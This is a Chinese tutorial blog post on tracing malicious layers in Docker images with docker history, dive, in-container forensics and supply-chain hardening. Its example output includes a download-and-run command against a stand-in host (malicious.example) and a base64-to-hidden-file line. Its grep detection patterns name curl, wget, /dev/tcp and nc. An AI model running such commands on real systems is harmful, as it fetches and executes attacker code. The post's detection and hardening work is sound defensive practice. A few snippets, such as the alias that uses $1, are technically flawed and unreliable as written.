最近帮一个团队排查线上容器异常,起因是某台业务服务器在凌晨莫名其妙持续向外发包,CPU 被拉满。查了一圈系统日志没什么异常,最后用一条docker history命令逐层拆镜像,才发现问题出在镜像里:有一个人在构建时往某层塞了一段带外联功能的脚本,每次容器启动后都会去请求一个陌生地址拿指令。这个过程让我又一次确认了一个判断——Docker 镜像的安全问题,大多数不是运行时漏洞,而是从构建那一刻就带进来的。
docker history这个名字平时容易被人忽略,觉得它不过是看镜像构建记录的“流水账”。但真正排查过一次恶意镜像后你会明白,这是所有镜像审计动作里最便宜、最直接、也最容易被篡改者疏忽的一种手段。这篇文章我想把整条排查链路完整拆开:从镜像分层存储的原理,到docker history每列数据的含义,再到实操时如何定位可疑层、如何结合容器内取证坐实问题,最后落回到构建阶段怎么从源头防住这类风险。无论你是团队里管镜像的人,还是平时自己构建、拉取镜像比较多的开发者,这套方法都值得收进你的安全工具箱。
1. 恶意指令藏在哪:先看懂镜像分层的基本规则
很多人第一次看到 Docker 镜像结构时都会有个疑问:为什么一个镜像要用这么多层?明明看起来就是个文件系统快照。这里的关键在于 Docker 的存储驱动(如 overlay2)采用的“写时复制”策略——镜像由若干只读层叠加而成,每个 Dockerfile 指令(RUN、COPY、ADD等)都会产生一个新层,记录的是这一指令相对于前一层产生的文件系统差异。
这意味着三件非常重要的事:
- 每一层都有迹可循:只要镜像没有经过特殊处理,每一层的“制造者”——也就是构建时实际执行的命令——都会被写进镜像的元数据里。
- 分层不是干净的:任何写过文件、改过配置、安装过软件包的操作,都会在对应目录里留下真实痕迹。恶意脚本如果被
RUN执行过,它下载或创建的临时文件很可能还留在这一层里。 - 历史越长的镜像,越值得警惕:一个从公共仓库拉下来的
node或python基础镜像,常常已经积累了几十层。而攻击者最爱利用的,正是“没人会逐层翻找”这种心理。
恶意指令一般会藏在哪些位置?从我见过的实际案例来看,最常见的几类如下:
- 藏在 RUN 命令里:比如
RUN curl -fsSL http://xxx/a.sh | bash,或者用echo配合 base64 解码写入文件,然后执行。这种从命令上就能看出问题。 - 藏在隐蔽路径的文件里:利用
COPY指令把一个伪装成配置文件的脚本放进/tmp/、/var/tmp/,甚至/etc/下面某个不起眼的目录,然后通过启动命令来激活。 - 藏在“正常软件行为”背后:比如
npm install或pip install时,依赖包里混入了恶意代码。这类问题在history里通常看不到明显的可疑指令,需要结合运行行为或文件扫描才能发现,所以更阴险。 - 利用 ENV/ARG 写入敏感数据:有些镜像会把内部地址、密钥直接写进环境变量或 Dockerfile 参数里。虽然不算恶意指令,但属于严重的信息泄露。
理解这些藏匿位置后,你会发现docker history的意义不只是“看命令”,而是还原构建现场。一个入侵者不管怎么伪装,只要他修改了镜像内容,必然会留下至少一个构建层。而你只需要把层一层层剥开,就能看到当年执行的命令长什么样。
2. docker history 到底能看出什么:核心参数与自查命令
docker history的用法非常好记,但很多人只用了最浅的一层:直接输入docker history <镜像名>。这样拿到的输出被截断得厉害,很多关键信息看不到。所以先从命令参数讲起,我列一份日常最常用的自查组合。
# 基础用法:查看镜像各层的创建时间、指令和大小 docker history nginx:latest # 完整模式:显示完整指令,不被 ... 截断 docker history nginx:latest --no-trunc # 自定义格式:只提取你最关心的字段 docker history nginx:latest --no-trunc --format "table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}" # 过滤可疑特征:直接检索恶意指令常见关键词 docker history nginx:latest --no-trunc | grep -Ei "curl|wget|base64|chmod|crontab|/dev/tcp|nc -|eval"有些版本的 Docker 也支持--no-trunc与--format的组合使用,但无论参数怎么变,理解输出列的语义才是重点:
- IMAGE:这一层对应的镜像 ID(中间层会有
sha256:...)。 - CREATED:该层创建时间。虽然不绝对精准,但能帮你判断构建过程中是否有“时间点异常”,比如 3 年前的基础镜像竟然在最近被修改过。
- CREATED BY:最核心的一列。记录的是生成本层时执行的原始指令。
--no-trunc打开前它会用省略号隐藏后半段,攻击者最爱藏在后面的恰恰是后半段命令。 - SIZE:该层内容增减的大小。注意有些层显示
0B,这并不代表没做任何操作,可能只是修改了文件权限,或者层是空的元数据层。 - COMMENT:注释信息,一般用途不大,但有时构建者会故意留注释掩盖操作。
还有个容易被忽略的细节:在 build 过程中,执行环境变量(如ENV)不会跟随CREATED BY展现。也就是说,有些指令可能依赖之前层级里设置的某个环境变量运行,单看history是不完整的。所以真要追根溯源,还得结合 Dockerfile、镜像层文件系统来综合判断,这一点后面再展开。
用一张常用字段对比表来收束这部分:
| 参数/对象 | 作用 | 使用场景 |
|---|---|---|
--no-trunc | 显示完整指令内容 | 排查默认截断隐藏的可疑命令 |
--format | 自定义输出字段 | 批量提取、自动化审计 |
docker inspect | 查看镜像完整元数据 | 补充确认 Entrypoint、Env、端口等 |
dive镜像分析工具 | 逐层查看文件系统差异 | 定位新增/变更文件,辅助取证 |
实际排查时,我的建议是先跑一条完整的 history,再跑一条过滤版。完整的拿来看全局,判断层数分布有没有不合理的地方;过滤版帮你快速定位高频恶意指令特征。两条命令不冲突,反而是逐步缩小范围的有效方式。
3. 一步步揪出恶意指令:从 history 到容器内取证
光知道命令还不够,整个排查过程得有自己的节奏。下面我把一套完整、可复用的实操流程写出来,按这个顺序走基本不会漏。
3.1 第一步:拉取镜像并提取完整构建历史
先确认你排查的目标镜像已经拉取到本地:
docker pull your-registry/app-image:v1.0 docker history your-registry/app-image:v1.0 --no-trunc --format "table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}\t{{.CreatedAt}}"输出里如果看到类似这样的片段,就要拉响警报了:
sha256:abc... /bin/sh -c curl -fsSL http://malicious.example/x.sh | bash 20MB 2023-... sha256:def... /bin/sh -c echo d2dldCBodHRwOi8v... | base64 -d > /tmp/.update 0B 2023-...第一条是典型的下载即执行,第二条是 base64 解码后写入隐藏文件。两条加在一起,基本可以断定镜像里存在恶意指令。不过光凭命令特征还不够,因为某些合法软件安装也会用到curl和chmod。所以下一步要针对可疑层做文件系统比对。
3.2 第二步:用 dive 逐层查看文件变更
dive是一个开源的镜像层分析工具,你可以把它理解成“带时间轴的镜像文件浏览器”。安装方式简单,macOS 或 Linux 上都能直接跑:
dive your-registry/app-image:v1.0打开后会看到左右两个窗口:
- 左侧渲染的是这一层相对于前一层的文件变化。
- 右侧是当前层的完整文件系统状态。
操作上主要是两件事:切换层、标记可疑路径。按回车可以展开某层,按Ctrl+空格可以折叠或展开文件树,按Tab在左右面板之间切换。排查时重点看这几个目录:
/tmp、/var/tmp:恶意脚本高发地,文件往往被伪装成.log、.cache或隐藏文件名。/etc/cron.d、/etc/cron.hourly:检查是否有定时任务写入。/etc/init.d、/etc/systemd/system:启动级持久化后门入口。/root/.bashrc、/etc/profile:登录启动型后门。/opt、/usr/local/bin:容易出现以“正常名”命名的二进制脚本。
其中有一个经验很值得分享:**恶意脚本为了保持隐蔽,往往不会把文件权限设成 777,而是尽量贴近正常文件,比如 755 或 644。**所以排查时别只看权限,还要结合创建时间和内容特征。每层创建时间如果和该层内文件的modify time明显不一致,这本身就是一个矛盾点,值得深挖。
3.3 第三步:进入容器实锤验证
history和dive找的是“可疑”,真正要下结论还得看“实锤”。启动一个临时容器,直接检查那些可疑路径:
docker run --rm -it your-registry/app-image:v1.0 /bin/sh # 容器内依次检查 ls -la /tmp /var/tmp crontab -l cat /etc/cron.d/* ls -la /root/.bashrc /etc/profile ps aux | grep -E "curl|wget|nc|/tmp" cat /etc/hosts # 看 DNS 是否被改 env # 看环境变量里是否泄露敏感信息一个在history中被标注为RUN echo xxx | base64 -d > /tmp/.update的层,进入容器后,如果/tmp/.update还在,直接打开看内容就能完全定性。还有一种情况:脚本在容器启动时会被删除或自毁,比如base64 -d | bash从管道执行,那/tmp下可能什么也找不到。这时候就得看运行时监测了,也就是容器起来后实时观察它的网络连接和进程。
docker run -d your-registry/app-image:v1.0 docker exec -it <容器ID> sh cat /proc/1/cwd netstat -anp 2>/dev/null | grep ESTABLISHED看到容器主动连接了外部陌生 IP,其实锤子已经落下了一半。剩下的就是配合网络侧的数据,去确认连接目标是不是已知恶意节点。
3.4 第四步:对比基线镜像,精准捕捉“多出来”的那层
排查自建镜像时,有一个我自己很常用的技巧:找一个安全基线镜像做差异对比。比如你怀疑团队里某个业务镜像被改动过,那就从同一公共仓库拉一份同版本号的基础镜像,放一起跑docker history:
docker history your-registry/legacy-base:v1.0 --no-trunc --format "table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}" > base.txt docker history your-registry/suspect-image:v1.0 --no-trunc --format "table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}" > suspect.txt diff base.txt suspect.txt正常情况下,业务镜像只是多出构建自己业务的那几层。如果发现基础镜像区域出现了原本不存在的层级,或者时间戳发生了不应该的变化,说明镜像在构建或传输过程中被动过手。这种 diff 方法特别适合排查“明明是同一个标签名,却多出几个可疑层”的场景。
4. 防患于未然:构建与供应链侧的安全加固
排查只能处理已经发生的问题,真正让history变得“无料可查”(或者查出来全是干净的),还是要从镜像构建和供应链的源头动手。这一节讲几件非常实用的事,每一件都能直接落地。
4.1 用可信基础镜像,锁版本而不是用 latest
公共仓库里很多镜像只标了一个latest标签,本质上是个移动靶——你今年拉的和明年拉的,内容可能完全不同。这种不确定性本身就是风险。规范做法是:
- 优先使用带完整版本号和摘要(digest)的镜像,例如
node:20.11.1-alpine@sha256:3d36...。 - 基础镜像保留在私有仓库里,避免每次构建都去外部拉取。
- 定期对仓库内的镜像做扫描,常见工具是
trivy和grype,它们能自动识别漏洞和已知恶意软件特征。
# 用 trivy 做一次快速镜像漏洞扫描 trivy image --severity HIGH,CRITICAL your-registry/app-image:v1.0 # 用 grype 做依赖与软件特征扫描 grype your-registry/app-image:v1.0扫描出来的结果不一定全是安全问题,但至少能提示你哪些依赖版本已经公开漏洞,哪些组件可能被植入恶意代码。
4.2 构建期敏感信息要隔离,别写进任何一层
很多人构建镜像时图省事,直接ARG 密码=xxx或者把私钥COPY进去,结果这个信息永远留在了镜像层里。哪怕后面RUN rm 私钥文件,那一个层已经保存了删除前的文件状态,任何能拿到镜像的人都可以用解包工具翻出来。
正确的做法有两类:一类是构建期用RUN --mount=type=secret临时挂载敏感文件,用完即走,不落地到层里;另一类是把密码、密钥全部交给运行时环境变量或密钥管理系统,镜像本身不含任何敏感信息。
一个示例片段:
# 不推荐 ARG DB_PASSWORD=123456 RUN echo "$DB_PASSWORD" > /app/db.conf # 推荐:临时挂载密钥,不进镜像层 RUN --mount=type=secret,id=db_password \ cat /run/secrets/db_password > /app/db.conf && ...从镜像审计的角度看,一个看起来“透明”的构建过程,不该出现“看不到来源却写入了文件”的层。每次构建记录都能对上号,从源头上就让恶意指令无处遁形。
4.3 引入签名与完整性校验,让篡改变得艰难
镜像签名的概念在供应链安全中越来越重要。目前比较主流的两套方案是cosign(来自开源社区)和Notation(云原生技术栈常见)。它们的思路一致:构建完成后用私钥给镜像产物签名,拉起镜像时用公钥验证签名是否有效。
# 签名示例(cosign) cosign sign --key cosign.key your-registry/app-image:v1.0 # 部署侧校验 cosign verify --key cosign.pub your-registry/app-image:v1.0一旦启用了签名校验,攻击者在中间环节替换镜像的动作就会被阻断。即便他通过某种手段拿到了镜像内容并重新打包,只要他没有私钥,就无法通过校验。这就给history审计又加了一层保险:能通过签名校验的镜像,基本默认其构建记录也未被篡改过。
5. 常见坑与排查技巧实录
这部分不是看文档能学来的,基本都是从真实事故现场总结出来的经验。我按“问题、原因、解决办法”的方式整理成速查表,方便你真遇到时快速对照。
| 异常现象 | 可能原因 | 处理办法 |
|---|---|---|
docker history输出被...截断 | 默认开启截断显示 | 加--no-trunc重新输出 |
| 所有层显示同一时间 | 镜像曾被整体解包重打包 | 结合签名校验和层摘要检查完整性 |
CREATED BY只有buildkit一行 | 构建时启用了 BuildKit 多阶段缓存 | 用docker history --no-trunc看中间层,或结合镜像层文件系统排查 |
镜像层已经squash合并 | 构建方手动/自动压层 | 放弃逐层排查,改用容器内文件扫描与运行时监测 |
history里全是正常命令,但容器异常 | 恶意代码藏在“合法命令”内部,如依赖包投毒 | 做文件系统时间线分析、依赖源审计、网络行为检测 |
| 某层 SIZE 显示 0B,但文件被改了 | 只修改了文件权限或元数据 | 用dive深入层内看文件内容变化,不要只凭层大小下结论 |
| 拉回的镜像与之前记录不一致 | 被中间人替换或镜像仓库被入侵 | 回退到可信网络重新拉取,做 digest 比对,立即排查仓库权限 |
| 时间为最近,但内容看起来像旧版本 | 多层构建产生的外层覆盖 | 对比镜像 digest 和分层顺序,确认时间异常出现在哪个层 |
下面还有几个偏“单点体会”、不好放进表格的细节,单独拿出来说:
第一,不要只搜索rm -rf这类肉眼即可识别的恶意命令。现在我排查时,重点搜的反而是eval、$(...)、{{、${IFS}这类能“绕开字符串特征检测”的构造。真正精细的攻击者早就知道安全扫描器会查“高危命令”,所以他们更倾向用看似正常的工具组合,比如openssl配合base64再配合/dev/tcp。
第二,警惕那些“只出现一条 RUN 却能装完整个环境”的层。正常构建通常会拆分成安装依赖、复制代码、编译、清理等好几层。如果某个镜像只有一句极长的RUN apt-get install ... && curl ... && chmod ... && ./xxx,把它拆开,看看那些被串联起来的小命令里有没有夹带私货。有些攻击者会用&&把恶意命令混在看似合理的长串里,不加--no-trunc根本看不到后半段。
第三,注意“构建后删除痕迹”这种手法。比较狡猾的操作是先执行恶意行为,构建结束时用rm -rf /tmp/log /root/.bash_history一类命令把现场擦掉。从history看会有正常的删除层,从最终文件系统也很难发现异常。但层的空间占用会露出马脚——如果删除前下载过几十 MB 的二进制,删除后的层虽然最终大小为 0,中间层依然记录着那次下载带来的文件占用。用dive从中间层翻文件,往往还能翻出残留的缓存或下载文件。
个人的体会是:docker history不是万能的,但它是一件值得放在“镜像引进来之前”就做的例行检查。安全审计这件事,最怕不是工具不够先进,而是没有形成习惯。之前帮过的团队里,有过一次非常典型的案例:他们一直从某个第三方仓库拉同一款自动化构建镜像,直到某天有人手滑多跑了条history,才发现最新版镜像里多了一层执行外部下载脚本的记录。那层出现的时间,正好和仓库作者账号被盗的时间对上。
如果你不想每次手动敲命令,可以把它固化成一个简单的别名或脚本,比如:
# ~/.bashrc 或 ~/.zshrc alias docker-security-audit='docker history --no-trunc --format "table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}" "$1" | grep -Ei "curl|wget|base64|chmod|crontab|/dev/tcp" || echo "暂无高风险特征"; docker inspect --format="Entrypoint={{.Config.Entrypoint}} Env={{.Config.Env}} Ports={{.Config.ExposedPorts}}" "$1"'这样每次拉完新镜像,直接docker-security-audit <镜像名>,几秒钟就能完成一版基础体检。镜像安全没有一步到位的银弹,但把history这一环用起来,至少能让你躲开绝大多数“人为埋雷”式的低级风险。后面如果有条件,再叠加运行时监测和签名校验,防线就会明显成型。